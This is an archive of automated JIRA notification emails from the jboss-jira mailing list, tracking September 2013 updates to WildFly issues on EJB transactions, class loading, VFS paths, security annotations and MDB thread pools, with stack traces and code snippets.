> 	at java.lang.reflect.Method.invoke(Method.java:616)
> 	at org.jboss.modules.Module.run(Module.java:248)
> 	at org.jboss.modules.Main.main(Main.java:313)
> Caused by: java.lang.IllegalStateException: The LogManager was not properly installed (you must set the "java.util.logging.manager" system property to "org.jboss.logmanager.LogManager")
> 	at org.jboss.logmanager.Logger.getLogger(Logger.java:60)
> 	at org.jboss.logmanager.log4j.BridgeRepositorySelector.<clinit>(BridgeRepositorySelector.java:42)
> 	... 7 more

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 20 15:46:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Fri, 20 Sep 2013 15:46:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1821) Update to web console
	2.0.0.Final
In-Reply-To: <JIRA.12497938.1375694061000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12497938.1375694061000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12497938.1375694061000.37928.1379706363416@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1821?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Brian Stansberry updated WFLY-1821:
-----------------------------------

    Fix Version/s: 8.0.0.Beta1
                       (was: 8.0.0.CR1)

    
> Update to web console 2.0.0.Final
> ---------------------------------
>
>                 Key: WFLY-1821
>                 URL: https://issues.jboss.org/browse/WFLY-1821
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Web Console
>            Reporter: Heiko Braun
>            Assignee: Heiko Braun
>            Priority: Blocker
>             Fix For: 8.0.0.Beta1
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 20 15:59:03 2013
From: jira-events at lists.jboss.org (David Lloyd (JIRA))
Date: Fri, 20 Sep 2013 15:59:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-875) Singletons don't respect
 @TransactionAttribute/deployment descriptor in @PostConstruct.
In-Reply-To: <JIRA.12474183.1347347177000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12474183.1347347177000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12474183.1347347177000.37934.1379707143519@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-875?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806190#comment-12806190 ] 

David Lloyd commented on WFLY-875:
----------------------------------

It looks like this may have been fixed, can you please verify?
                
> Singletons don't respect @TransactionAttribute/deployment descriptor in @PostConstruct.
> ---------------------------------------------------------------------------------------
>
>                 Key: WFLY-875
>                 URL: https://issues.jboss.org/browse/WFLY-875
>             Project: WildFly
>          Issue Type: Bug
>          Components: EJB
>         Environment: JBoss 7.1.1
>            Reporter: S?awomir Wojtasiak
>            Assignee: jaikiran pai
>              Labels: rhq
>         Attachments: jboss-as-helloworld-singleton.war
>
>
> Singletons don't respect any transaction attributes for their @PostConstruct methods and invokes them always with REQUIRED_NEW semantics. Following part of code is responsible for hardcoding these values for registered _SingletonLifecycleCMTTxInterceptor_ factories:
> {code:title=org.jboss.as.ejb3.component.singleton.SingletonComponentDescription.java|borderStyle=solid}
>  @Override
>                 public void configure(final DeploymentPhaseContext context, final ComponentDescription description, final ComponentConfiguration configuration) throws DeploymentUnitProcessingException {
>                     configuration.addPostConstructInterceptor(new SingletonLifecycleCMTTxInterceptor.Factory(TransactionAttributeType.REQUIRES_NEW), InterceptorOrder.ComponentPostConstruct.TRANSACTION_INTERCEPTOR);
>                     configuration.addPreDestroyInterceptor(new SingletonLifecycleCMTTxInterceptor.Factory(TransactionAttributeType.REQUIRES_NEW), InterceptorOrder.ComponentPreDestroy.TRANSACTION_INTERCEPTOR);
>                     if(description.isPassivationApplicable()) {
>                         configuration.addPrePassivateInterceptor(new SingletonLifecycleCMTTxInterceptor.Factory(TransactionAttributeType.REQUIRES_NEW), InterceptorOrder.ComponentPassivation.TRANSACTION_INTERCEPTOR);
>                         configuration.addPostActivateInterceptor(new SingletonLifecycleCMTTxInterceptor.Factory(TransactionAttributeType.REQUIRES_NEW), InterceptorOrder.ComponentPassivation.TRANSACTION_INTERCEPTOR);
>                     }
>                     configuration.addTimeoutViewInterceptor(TimerCMTTxInterceptor.FACTORY, InterceptorOrder.View.CMT_TRANSACTION_INTERCEPTOR);
>                 }
> {code}
> EJB 3.1 specification says, REQUIRED, REQUIRED_NEW and NOT_SUPPORTED attributes should be supported, where in case of REQUIRED a semantic of REQUIRED_NEW trancation attribute should be used:
> {panel:title=4.8.3 Transaction Semantics of Initialization and Destruction| borderStyle=dashed| borderColor=#ccc| titleBGColor=#F7D6C1| bgColor=#FFFFCE} 
> PostConstruct and PreDestroy methods of Singletons with container-managed transactions are transactional. From the bean developer?s view there is no client of a PostConstruct or PreDestroy method.
> A PostConstruct or PreDestroy method of a Singleton with container-managed transactions has transaction attribute REQUIRED, REQUIRES_NEW, or NOT_SUPPORTED (Required , RequiresNew, or NotSupported if the deployment descriptor is used to specify the transaction attribute).
> _Note that the container must start a new transaction if the REQUIRED (Required) transaction attribute is used. This guarantees, for example, that the transactional behavior of the PostConstruct method is the same regardless of whether it is initialized eagerly at container startup time or as a side effect of a first client invocation on the Singleton. The REQUIRED transaction attribute value is allowed so that specification of a transaction attribute for the Singleton PostConstruct/PreDestroy methods can be defaulted._
> {panel} 
> So there is not a problem with REQUIRED and REQUIRED_NEW transaction attributes, but NOT_SUPPORTED attribute is just not supported :)

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Fri Sep 20 16:03:03 2013
From: jira-events at lists.jboss.org (David Lloyd (JIRA))
Date: Fri, 20 Sep 2013 16:03:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-905) Dynamic deployment modules are
 not visible to other ears referencing them
In-Reply-To: <JIRA.12472191.1344610745000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12472191.1344610745000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12472191.1344610745000.37939.1379707383466@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-905?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806191#comment-12806191 ] 

David Lloyd commented on WFLY-905:
----------------------------------

This is really a startup ordering issue I think.  The deployment is definitely visible but not at the time it is looked up.  But the fix is going to be somewhat complex I suspect.  We will need to rework the rules that define how inter-deployment dependencies work before we can solve this.
                
> Dynamic deployment modules are not visible to other ears referencing them
> -------------------------------------------------------------------------
>
>                 Key: WFLY-905
>                 URL: https://issues.jboss.org/browse/WFLY-905
>             Project: WildFly
>          Issue Type: Bug
>          Components: Class Loading
>         Environment: Windows 7 64 bit,  Oracle Jdk 1.6.0 32 bit
>            Reporter: Rodney Kite
>            Assignee: David Lloyd
>
> During deployment there is an ERROR.  
> Failed to start service jboss.module.service."deployment.Mef.ear".main JBAS018759: Failed to load module: deployment.Mef.ear:main ... 
> Caused by: org.jboss.modules.ModuleNotFoundException: deployment.MefBusiness.ear.mefCommon.jar:main
>   A deployment ear has a jar that references another deployment ears jar/module indicated in the referencing jars "Dependencies:" section of its Manifest.MF.  It seems that dynamic deployment modules are not visible to other ears referencing them. 
>   This works fine in JBoss 7.1.1
>  

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 20 16:18:03 2013
From: jira-events at lists.jboss.org (David Lloyd (JIRA))
Date: Fri, 20 Sep 2013 16:18:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-964) JBoss 7.1.1 - NullPointer in
 JDBCEJBQLCompiler.visit(...)
In-Reply-To: <JIRA.12469477.1340713887000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12469477.1340713887000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12469477.1340713887000.37959.1379708283675@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-964?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

David Lloyd closed WFLY-964.
----------------------------

    Resolution: Won't Fix


This issue is being closed because CMP is no longer a part of the WildFly codebase.  The JBoss EAP 6.x product line does presently still support CMP however.
                
> JBoss 7.1.1 - NullPointer in JDBCEJBQLCompiler.visit(...)
> ---------------------------------------------------------
>
>                 Key: WFLY-964
>                 URL: https://issues.jboss.org/browse/WFLY-964
>             Project: WildFly
>          Issue Type: Bug
>          Components: EJB
>            Reporter: Carsten Maneg
>            Assignee: jaikiran pai
>
> 10:23:22,312 ERROR [org.jboss.msc.service.fail] (MSC service thread 1-7) MSC00001: Failed to start service jboss.deployment.subunit."MyCMP.ear"."my-persistence-4.3.0-SNAPSHOT.
> jar".component.Auftrag.jdbc.store-manager.START: org.jboss.msc.service.StartException in service jboss.deployment.subunit."MyCMP.ear"."my-persistence-4.3.0-SNAPSHOT.jar".c
> omponent.Auftrag.jdbc.store-manager.START: JBAS010785: Failed start store manager
>         at org.jboss.as.cmp.jdbc.JdbcStoreManagerStartService.start(JdbcStoreManagerStartService.java:46)
>         at org.jboss.msc.service.ServiceControllerImpl$StartTask.startService(ServiceControllerImpl.java:1811) [jboss-msc-1.0.2.GA.jar:1.0.2.GA]
>         at org.jboss.msc.service.ServiceControllerImpl$StartTask.run(ServiceControllerImpl.java:1746) [jboss-msc-1.0.2.GA.jar:1.0.2.GA]
>         at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886) [rt.jar:1.6.0_31]
>         at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:908) [rt.jar:1.6.0_31]
>         at java.lang.Thread.run(Thread.java:662) [rt.jar:1.6.0_31]
> Caused by: java.lang.RuntimeException: JBAS018810: Error compiling EJB-QL statement for EJB 'Auftrag': select object(o) from Auftrag as o where o.aufid = ?1
>         at org.jboss.as.cmp.jdbc.JDBCEJBQLQuery.<init>(JDBCEJBQLQuery.java:58)
>         at org.jboss.as.cmp.jdbc.JDBCCommandFactory.createEJBQLQuery(JDBCCommandFactory.java:63)
>         at org.jboss.as.cmp.jdbc.JDBCQueryManager.start(JDBCQueryManager.java:223)
>         at org.jboss.as.cmp.jdbc.JDBCStoreManager.startStoreManager(JDBCStoreManager.java:239)
>         at org.jboss.as.cmp.jdbc.JdbcStoreManagerStartService.start(JdbcStoreManagerStartService.java:44)
>         ... 5 more
> Caused by: java.lang.NullPointerException
>         at org.jboss.as.cmp.jdbc.JDBCEJBQLCompiler.visit(JDBCEJBQLCompiler.java:588)
>         at org.jboss.as.cmp.ejbql.ASTEJBQL.jjtAccept(ASTEJBQL.java:39)
>         at org.jboss.as.cmp.jdbc.JDBCEJBQLCompiler.compileEJBQL(JDBCEJBQLCompiler.java:167)
>         at org.jboss.as.cmp.jdbc.JDBCEJBQLQuery.<init>(JDBCEJBQLQuery.java:52)
>         ... 9 more
> jbosscmp-jdbc.xml:
> <entity>
> <ejb-name>Auftrag</ejb-name>
>      <datasource>java:/MyDatasourceName</datasource>
>      <datasource-mapping>DB2</datasource-mapping>
>      <create-table>false</create-table>
>      <row-locking>true</row-locking>
> ...

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 20 16:22:03 2013
From: jira-events at lists.jboss.org (David Lloyd (JIRA))
Date: Fri, 20 Sep 2013 16:22:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-989) When deploying an ear file, VFS
In-Reply-To: <JIRA.12463919.1334285294000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12463919.1334285294000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12463919.1334285294000.37979.1379708523376@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-989?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806197#comment-12806197 ] 

David Lloyd commented on WFLY-989:
----------------------------------

Can you please provide a reproducer, or verify that the problem no longer occurs?

Thanks.
                
> When deploying an ear file, VFS 
> --------------------------------
>
>                 Key: WFLY-989
>                 URL: https://issues.jboss.org/browse/WFLY-989
>             Project: WildFly
>          Issue Type: Bug
>          Components: Class Loading, VFS
>            Reporter: Thomas Smith
>            Assignee: David Lloyd
>
> When resolving classpath entries in an ear file the org.jboss.as.server.deployment.module.ManifestClassPathProcessor calls resourceRoot.getRoot().getParent(), which returns an incorrect path (bin/content); causing it to not find the classpath jars.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 20 16:29:03 2013
From: jira-events at lists.jboss.org (David Lloyd (JIRA))
Date: Fri, 20 Sep 2013 16:29:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1175) Remove EL JARs from Hibernate
 Validator module
In-Reply-To: <JIRA.12489906.1366372850000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12489906.1366372850000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12489906.1366372850000.37992.1379708943471@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1175?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806198#comment-12806198 ] 

David Lloyd commented on WFLY-1175:
-----------------------------------

Gunnar, can you verify that the {{javax.el.api}} solves (or does not solve) this issue?

Thanks.
                
> Remove EL JARs from Hibernate Validator module
> ----------------------------------------------
>
>                 Key: WFLY-1175
>                 URL: https://issues.jboss.org/browse/WFLY-1175
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: EE
>            Reporter: Gunnar Morling
>            Assignee: David Lloyd
>
> With AS7-6665 (Update of the Hibernate Validator module to HV 5), the Unified EL RI JARs were added to the HV module in order to satisfy the dependency to the EL API added as of HV5/BV 1.1. These module internal JARs should be removed once there is an AS module providing an EL implementation usable for all kinds of deployments.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 20 16:33:03 2013
From: jira-events at lists.jboss.org (David Lloyd (JIRA))
Date: Fri, 20 Sep 2013 16:33:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1166) Security annotations should
 not be required on abstract session beans
In-Reply-To: <JIRA.12486749.1362681848000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12486749.1362681848000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12486749.1362681848000.37997.1379709183616@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1166?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

David Lloyd reassigned WFLY-1166:
---------------------------------

    Assignee: Stuart Douglas  (was: jaikiran pai)


Stuart, if you feel this is not a bug, please close the issue.  Thanks.
                
> Security annotations should not be required on abstract session beans
> ---------------------------------------------------------------------
>
>                 Key: WFLY-1166
>                 URL: https://issues.jboss.org/browse/WFLY-1166
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: EJB
>            Reporter: Samuel Santos
>            Assignee: Stuart Douglas
>
> Example project structure:
> {code:java}
> @Stateless
> @RunAs("private")
> @RolesAllowed("simpleuser")
> @SecurityDomain("myRealm")
> @TransactionAttribute(TransactionAttributeType.REQUIRED)
> public class ExampleServiceBean implements ExampleService {}
> @Stateless
> @RolesAllowed("private")
> @SecurityDomain("myRealm")
> @TransactionAttribute(TransactionAttributeType.SUPPORTS)
> public class ExampleDAOBean extends GenericDAOImpl<ExampleEntity, Long> implements ExampleDAO {}
> @RolesAllowed("private")
> @SecurityDomain("myRealm")
> public abstract class GenericDAOImpl<T, PK extends Serializable> implements GenericDAO<T, PK> {}
> {code}
> If you remove the annotations {{@RolesAllowed("private")}} and {{@SecurityDomain("myRealm")}} from {{GenericDAOImpl}} you will get an "Access Denied" error when invoking {{ExampleDAOBean}}  from {{ExampleServiceBean}}.
> This does not make sense. The annotations available on {{ExampleDAOBean}} should override any security constrains in the class that it extends.
> Moreover, the documentation on https://docs.jboss.org/author/display/AS72/Securing+EJBs does not state that abstracts classes should be annotated.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 20 16:43:03 2013
From: jira-events at lists.jboss.org (David Lloyd (JIRA))
Date: Fri, 20 Sep 2013 16:43:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1404) Allow MDB execution in JCA
	WorkManager
In-Reply-To: <JIRA.12492935.1369745733000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12492935.1369745733000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12492935.1369745733000.38009.1379709783631@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1404?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

David Lloyd reassigned WFLY-1404:
---------------------------------

    Assignee: Jeff Mesnil  (was: jaikiran pai)


Jeff, can you please look at this when you get a chance?
                
> Allow MDB execution in JCA WorkManager
> --------------------------------------
>
>                 Key: WFLY-1404
>                 URL: https://issues.jboss.org/browse/WFLY-1404
>             Project: WildFly
>          Issue Type: Task
>          Components: EJB
>            Reporter: Jesper Pedersen
>            Assignee: Jeff Mesnil
>
> The EJB3/MDB configuration should allow for executing a MDB as a javax.resource.spi.work.Work instance in the specified JCA WorkManager.
> Ideally the Work instance would implement javax.resource.spi.work.DistributableWork in order to take advantage of the DistributedWorkManager functionality

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 20 16:43:03 2013
From: jira-events at lists.jboss.org (David Lloyd (JIRA))
Date: Fri, 20 Sep 2013 16:43:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1404) Allow MDB execution in JCA
	WorkManager
In-Reply-To: <JIRA.12492935.1369745733000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12492935.1369745733000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12492935.1369745733000.38015.1379709783890@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1404?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

David Lloyd updated WFLY-1404:
------------------------------

    Priority: Minor  (was: Major)

    
> Allow MDB execution in JCA WorkManager
> --------------------------------------
>
>                 Key: WFLY-1404
>                 URL: https://issues.jboss.org/browse/WFLY-1404
>             Project: WildFly
>          Issue Type: Task
>          Components: EJB
>            Reporter: Jesper Pedersen
>            Assignee: Jeff Mesnil
>            Priority: Minor
>
> The EJB3/MDB configuration should allow for executing a MDB as a javax.resource.spi.work.Work instance in the specified JCA WorkManager.
> Ideally the Work instance would implement javax.resource.spi.work.DistributableWork in order to take advantage of the DistributedWorkManager functionality

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 20 16:45:03 2013
From: jira-events at lists.jboss.org (Thomas Smith (JIRA))
Date: Fri, 20 Sep 2013 16:45:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-989) When deploying an ear file, VFS
In-Reply-To: <JIRA.12463919.1334285294000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12463919.1334285294000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12463919.1334285294000.38023.1379709903698@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-989?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806203#comment-12806203 ] 

Thomas Smith commented on WFLY-989:
-----------------------------------

Unfortunately, I have long since moved on from the project where I was experiencing this (We ended up not porting to 7)...   I vaguely remember it having something to do with libraries that were inside of jar that was inside of an ear, but past that...   I can't really help anymore...  I am good to close this out at this point as it is not longer an issue (for me at least).
                
> When deploying an ear file, VFS 
> --------------------------------
>
>                 Key: WFLY-989
>                 URL: https://issues.jboss.org/browse/WFLY-989
>             Project: WildFly
>          Issue Type: Bug
>          Components: Class Loading, VFS
>            Reporter: Thomas Smith
>            Assignee: David Lloyd
>
> When resolving classpath entries in an ear file the org.jboss.as.server.deployment.module.ManifestClassPathProcessor calls resourceRoot.getRoot().getParent(), which returns an incorrect path (bin/content); causing it to not find the classpath jars.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 20 16:47:03 2013
From: jira-events at lists.jboss.org (David Lloyd (JIRA))
Date: Fri, 20 Sep 2013 16:47:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1183) Configure EJB3/MDB with an
 individual thread pool for each EJB.
In-Reply-To: <JIRA.12487807.1363965045000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12487807.1363965045000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12487807.1363965045000.38030.1379710023619@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1183?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806204#comment-12806204 ] 

David Lloyd commented on WFLY-1183:
-----------------------------------

There is still not adequate explanation or analysis on this issue to show a specific actual (not theoretical) problem whose best solution is multiple EJB thread pools.  Without additional information, I will close this issue.
                
> Configure EJB3/MDB with an individual thread pool for each EJB.
> ---------------------------------------------------------------
>
>                 Key: WFLY-1183
>                 URL: https://issues.jboss.org/browse/WFLY-1183
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: EJB
>            Reporter: Jeremy Whiting
>            Assignee: jaikiran pai
>
> For performance of an application to be scalable I need to configure sometimes a thread pool to an EJB. The pool is not shared with other EJB in the deployed application.
>  For example 
> PoolA - EJB Dog
> PoolB - EJB Cat
>  To configure this the ability no define the thread pool name for an EJB. Rather than an EJB to the shared thread pool as it currently works.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 20 16:47:03 2013
From: jira-events at lists.jboss.org (David Lloyd (JIRA))
Date: Fri, 20 Sep 2013 16:47:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-856) Error "Null Path" during VFS
 get virtual file
In-Reply-To: <JIRA.12464459.1334807998000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12464459.1334807998000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12464459.1334807998000.38037.1379710023879@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-856?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

David Lloyd resolved WFLY-856.
------------------------------

    Resolution: Done


This is supposedly fixed.  If the problem still occurs please reopen and specify the version of WildFly being used with an updated stack trace.  Thanks.
                
> Error "Null Path" during VFS get virtual file
> ---------------------------------------------
>
>                 Key: WFLY-856
>                 URL: https://issues.jboss.org/browse/WFLY-856
>             Project: WildFly
>          Issue Type: Bug
>          Components: VFS
>            Reporter: Zhang Lan
>            Assignee: David Lloyd
>              Labels: jboss
>
> I have a jar file ,in which have "seam.properties" to load the seam components in it.
> I put the jar file as a module.
> But I got the following error when I start jboss.
> java.lang.IllegalArgumentException: Null path		
>         at org.jboss.vfs.VFS.getChild(VFS.java:187) [jboss-vfs-3.1.0.Final.jar:3.1.0.Final]		
>         at org.jboss.vfs.VFS.getChild(VFS.java:173) [jboss-vfs-3.1.0.Final.jar:3.1.0.Final]		
>         at org.jboss.vfs.VFS.getChild(VFS.java:154) [jboss-vfs-3.1.0.Final.jar:3.1.0.Final]		
>         at org.jboss.seam.integration.jbossas.vfs.VFSScanner.getRoot(VFSScanner.java:36) [jboss-seam-int.jar:6.0.0.GA]
> VFS.java:187 is following source.
>    return getChild(uri.getPath());
> But in my case ,the uri pattern is create by org.jboss.modules.JarFileResourceLoader#getJarURI use the following method.
>    return new URI("jar", b.toString(), null);
> It is the [scheme:]scheme-specific-part[#fragment] pattern 's URI.it's path is null.
> So when I change the VFS.java:187 to the following ,my problem is ok.IT's a bug?
> public static VirtualFile getChild(URI uri) {
>     if(uri.getPath() != null){
>       return getChild(uri.getPath());
>     }else{
>       return getChild(uri.getSchemeSpecificPart());
>     }
> }

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 20 16:49:03 2013
From: jira-events at lists.jboss.org (David Lloyd (JIRA))
Date: Fri, 20 Sep 2013 16:49:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1537) getHardwareAddress() return
 different result on the AS 7.1.1
In-Reply-To: <JIRA.12494413.1371382187000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12494413.1371382187000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12494413.1371382187000.38042.1379710143663@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1537?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

David Lloyd updated WFLY-1537:
------------------------------

    Description: 
{code:java}
Enumeration e1 = NetworkInterface.getNetworkInterfaces(); 
for (e1.hasMoreElements();) {
NetworkInterface NIC = (NetworkInterface) e1.nextElement();
byte buf[] = NIC.getHardwareAddress();
...
}
{code}
On JBOSS AS 4.2.3,buf[] is not null in some loops,but is all null on JBOSS AS 7.1.1,so can not obtain the MAC address.

  was:
Enumeration e1 = NetworkInterface.getNetworkInterfaces(); 
for (e1.hasMoreElements();) {
NetworkInterface NIC = (NetworkInterface) e1.nextElement();
byte buf[] = NIC.getHardwareAddress();
...
}
On JBOSS AS 4.2.3,buf[] is not null in some loops,but is all null on JBOSS AS 7.1.1,so can not obtain the MAC address.



Edited for readability
                
> getHardwareAddress() return different result on the AS 7.1.1
> ------------------------------------------------------------
>
>                 Key: WFLY-1537
>                 URL: https://issues.jboss.org/browse/WFLY-1537
>             Project: WildFly
>          Issue Type: Bug
>          Components: EE
>         Environment: Windows 7 64bit JBOSS AS 7.1.1 Final JDK1.6.0_45
>            Reporter: eob free
>            Assignee: David Lloyd
>
> {code:java}
> Enumeration e1 = NetworkInterface.getNetworkInterfaces(); 
> for (e1.hasMoreElements();) {
> NetworkInterface NIC = (NetworkInterface) e1.nextElement();
> byte buf[] = NIC.getHardwareAddress();
> ...
> }
> {code}
> On JBOSS AS 4.2.3,buf[] is not null in some loops,but is all null on JBOSS AS 7.1.1,so can not obtain the MAC address.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 20 16:49:04 2013
From: jira-events at lists.jboss.org (David Lloyd (JIRA))
Date: Fri, 20 Sep 2013 16:49:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1537) getHardwareAddress() return
 different result on the AS 7.1.1
In-Reply-To: <JIRA.12494413.1371382187000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12494413.1371382187000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12494413.1371382187000.38058.1379710144333@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1537?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806207#comment-12806207 ] 

David Lloyd commented on WFLY-1537:
-----------------------------------

Are you sure your 4.3.2 tests used the same JDK version?  I do not believe we have done anything which would affect the behavior of this class; on the other hand it is possible that the JDK's behavior changed.
                
> getHardwareAddress() return different result on the AS 7.1.1
> ------------------------------------------------------------
>
>                 Key: WFLY-1537
>                 URL: https://issues.jboss.org/browse/WFLY-1537
>             Project: WildFly
>          Issue Type: Bug
>          Components: EE
>         Environment: Windows 7 64bit JBOSS AS 7.1.1 Final JDK1.6.0_45
>            Reporter: eob free
>            Assignee: David Lloyd
>
> {code:java}
> Enumeration e1 = NetworkInterface.getNetworkInterfaces(); 
> for (e1.hasMoreElements();) {
> NetworkInterface NIC = (NetworkInterface) e1.nextElement();
> byte buf[] = NIC.getHardwareAddress();
> ...
> }
> {code}
> On JBOSS AS 4.2.3,buf[] is not null in some loops,but is all null on JBOSS AS 7.1.1,so can not obtain the MAC address.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

